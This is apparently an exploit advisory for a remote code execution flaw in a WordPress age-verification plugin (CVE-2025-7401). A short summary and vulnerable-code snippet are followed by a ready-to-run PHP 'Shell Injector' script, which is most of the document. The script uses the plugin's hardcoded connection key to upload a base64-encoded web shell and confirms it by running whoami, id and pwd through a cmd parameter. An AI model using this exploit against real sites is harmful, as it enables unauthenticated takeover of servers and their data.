============================================================================================================================================= | # Title : WordPress Premium Age Verification Restriction 3.0.2 Shell Injector | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://wordpress.org/plugins/easy-age-verify/ | ============================================================================================================================================= POC : [+] References : https://packetstorm.news/files/id/210297/ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-7401 https://wpscan.com/vulnerability/12346 [+] Summary A critical security vulnerability exists in the WordPress Age Restriction plugin version 3.0.2 and earlier. The vulnerability allows unauthenticated attackers to upload arbitrary PHP files and execute remote code via the 'remote_tunnel.php' endpoint. This leads to complete compromise of the WordPress installation and underlying server. [+] Vulnerability Type: Unauthenticated Arbitrary File Upload → Remote Code Execution The vulnerability exists in the remote support functionality of the Age Restriction plugin. The 'remote_tunnel.php' file lacks proper authentication and authorization checks, allowing attackers to: 1. Bypass authentication using a hardcoded connection key 2. Upload arbitrary files to the server 3. Write PHP web shells to executable directories 4. Execute system commands with web server privileges [+] Vulnerable Code Pattern: ```php // In /wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php if ($_POST['connection_key'] === '330489965d8266a739442ef890f57805') { if ($_POST['action'] === 'save_file') { file_put_contents($_POST['file'], base64_decode($_POST['file_content'])); echo json_encode(['status' => 'success']); } } [+] Usage: Usage: php poc.php -u https://example.com [+] POC : userAgents[array_rand($this->userAgents)], "Accept: */*", "Accept-Language: en-US,en;q=0.5", "Accept-Encoding: identity", // Disable compression to see raw response "Cache-Control: no-cache", "Connection: close", "Content-Type: application/x-www-form-urlencoded", "Referer: " . ($_SERVER['HTTP_REFERER'] ?? 'https://www.google.com/') ]; } public function shellEncode($shellCode) { return base64_encode($shellCode); } public function testConnection($url) { echo "[*] Testing connection to: $url\n"; $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_HTTPHEADER => $this->buildHeaders(), CURLOPT_TIMEOUT => 10, CURLOPT_FOLLOWLOCATION => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_HEADER => true ]); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); $error = curl_error($ch); curl_close($ch); echo "[*] Connection test - HTTP Code: $httpCode\n"; if ($httpCode === 403) { echo "[-] Server returned 403 Forbidden. The endpoint may be protected.\n"; } elseif ($httpCode === 404) { echo "[-] Endpoint not found (404). Plugin may not be installed.\n"; } elseif ($httpCode === 200) { echo "[+] Endpoint is accessible.\n"; } return $httpCode; } public function postExploit($endpointUrl, $connectionKey, $shellCode, $timeout = 15) { $serverPath = '/var/www/html/wp-content/plugins/age-restriction/modules/remote_support/remote_init.php'; $postData = [ "connection_key" => $connectionKey, "action" => "save_file", "file" => $serverPath, "file_content" => $this->shellEncode($shellCode) ]; echo "[*] Sending exploit payload...\n"; echo "[*] Target file: $serverPath\n"; $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $endpointUrl, CURLOPT_POST => true, CURLOPT_POSTFIELDS => http_build_query($postData), CURLOPT_HTTPHEADER => $this->buildHeaders(), CURLOPT_TIMEOUT => $timeout, CURLOPT_FOLLOWLOCATION => false, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_HEADER => true, CURLOPT_VERBOSE => false ]); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); $error = curl_error($ch); curl_close($ch); if ($error) { return ['error' => $error, 'http_code' => 0]; } // Separate headers and body $header_size = strpos($response, "\r\n\r\n"); $headers = substr($response, 0, $header_size); $body = substr($response, $header_size + 4); return [ 'status_code' => $httpCode, 'headers' => $headers, 'body' => $body ]; } public function verifyShell($baseUrl, $timeout = 10) { $shellPath = '/wp-content/plugins/age-restriction/modules/remote_support/remote_init.php'; $parsed = parse_url($baseUrl); $base = $parsed['scheme'] . '://' . $parsed['host'] . (isset($parsed['port']) ? ':' . $parsed['port'] : ''); $shellUrl = rtrim($base, '/') . $shellPath; $testCommands = [ 'whoami' => $shellUrl . '?cmd=whoami', 'id' => $shellUrl . '?cmd=id', 'pwd' => $shellUrl . '?cmd=pwd' ]; foreach ($testCommands as $cmd => $testUrl) { echo "[*] Testing command: $cmd\n"; $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $testUrl, CURLOPT_HTTPHEADER => $this->buildHeaders(), CURLOPT_TIMEOUT => $timeout, CURLOPT_FOLLOWLOCATION => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false ]); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); $error = curl_error($ch); curl_close($ch); if ($httpCode === 200 && !empty(trim($response))) { echo "[+] Shell is ACTIVE! Command '$cmd' executed successfully.\n"; echo "[+] Output: " . trim($response) . "\n"; return [ 'active' => true, 'shell_url' => $shellUrl, 'command' => $cmd, 'output' => trim($response) ]; } } echo "[-] Shell verification failed. Possible reasons:\n"; echo " - File was not uploaded successfully\n"; echo " - File was uploaded but not executable\n"; echo " - Server security measures blocking execution\n"; echo " - Incorrect file path or permissions\n"; return [ 'active' => false, 'shell_url' => $shellUrl ]; } public function showBanner() { $now = gmdate('Y-m-d H:i:s'); echo "===============================================\n"; echo " WP Shell Injector - By indoushka\n"; echo " CVE-2025-7401 Exploit\n"; echo " Time: $now\n"; echo "===============================================\n"; } public function execute($url, $key = '330489965d8266a739442ef890f57805', $shell = '', $noVerify = false) { $this->showBanner(); try { $cleaned = $this->cleanUrl($url); echo "[+] Target endpoint: " . $cleaned . "\n"; echo "[+] Using connection_key: " . $key . "\n"; echo "[+] Shell code: " . $shell . "\n\n"; // First test the connection $testResult = $this->testConnection($cleaned); if ($testResult === 403 || $testResult === 404) { echo "[-] Target appears to be not vulnerable or protected.\n"; return; } // Proceed with exploit $resp = $this->postExploit($cleaned, $key, $shell); if (isset($resp['error'])) { echo "[-] Error: " . $resp['error'] . "\n"; return; } echo "[+] Exploit sent - HTTP Status: " . $resp['status_code'] . "\n"; // Analyze response if (!empty($resp['body'])) { if (strlen($resp['body']) < 500) { echo "[+] Response body: " . $resp['body'] . "\n"; // Check for JSON response $json = json_decode($resp['body'], true); if (json_last_error() === JSON_ERROR_NONE) { echo "[+] JSON Response detected:\n"; print_r($json); } } else { echo "[+] Response body is too long or binary. Length: " . strlen($resp['body']) . " bytes\n"; // Try to detect if it's compressed if (strpos($resp['body'], "\x1f\x8b\x08") === 0) { echo "[!] Response appears to be gzip compressed\n"; } } } $parsedUrl = parse_url($cleaned); $base = $parsedUrl['scheme'] . '://' . $parsedUrl['host'] . (isset($parsedUrl['port']) ? ':' . $parsedUrl['port'] : ''); $shellWeb = rtrim($base, '/') . '/wp-content/plugins/age-restriction/modules/remote_support/remote_init.php'; echo "\n[+] Expected shell URL: " . $shellWeb . "\n"; if (!$noVerify) { echo "\n[*] Starting shell verification...\n"; $this->verifyShell($cleaned); } } catch (Exception $e) { echo "[-] Error: " . $e->getMessage() . "\n"; } } } // Command line execution if (php_sapi_name() === 'cli') { $shortopts = "u:"; $longopts = [ "url:", "key:", "shell:", "no-verify", "help" ]; $options = getopt($shortopts, $longopts); if (isset($options['help']) || empty($options)) { echo "WP Shell Injector - CVE-2025-7401\n"; echo "Usage: php exploit.php -u [options]\n\n"; echo "Options:\n"; echo " -u, --url Target URL (required)\n"; echo " --key Connection key (default: 330489965d8266a739442ef890f57805)\n"; echo " --shell PHP shell code to inject\n"; echo " --no-verify Skip shell verification\n"; echo " --help Show this help\n\n"; echo "Examples:\n"; echo " php exploit.php -u https://example.com\n"; echo " php exploit.php -u https://example.com --shell ''\n"; exit(0); } $url = $options['u'] ?? $options['url'] ?? null; $key = $options['key'] ?? '330489965d8266a739442ef890f57805'; $shell = $options['shell'] ?? ''; $noVerify = isset($options['no-verify']); if (!$url) { echo "Error: URL parameter is required. Use --help for usage information.\n"; exit(1); } $injector = new WPShellInjector(); $injector->execute($url, $key, $shell, $noVerify); } else { echo "This script is intended for command line use only.\n"; } ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================